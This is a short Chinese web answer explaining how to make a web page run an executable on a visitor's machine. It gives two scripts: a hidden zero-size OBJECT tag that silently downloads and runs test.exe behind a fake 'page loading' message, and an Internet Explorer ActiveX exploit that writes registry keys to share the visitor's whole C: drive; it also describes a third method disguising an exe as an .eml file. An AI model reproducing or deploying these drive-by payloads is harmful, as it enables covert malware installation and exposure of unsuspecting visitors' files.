
这种情况一般是导致下载! 当然你非要这么做的话,可以自己添加web控件,来实现web程序调用服务器文件,实现exe文件 *** 作!单独想在网页打开一个执行文件很难的。 就比如你要挂一个视频到网页,这个视频可以被看做特殊的EXE文件,都还需要在html...
第一种它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>"
document.open()
document.clear()
document.writeln(run_exe)
document.close()
</script>
第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>")
function
f(){
a1=document.applets[0]
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
a1.createInstance()
Shl
= a1.GetObject()
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD")
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
)
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\")
}
function
init()
{
setTimeout("f()", 1000)
}
init()
</script>
第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)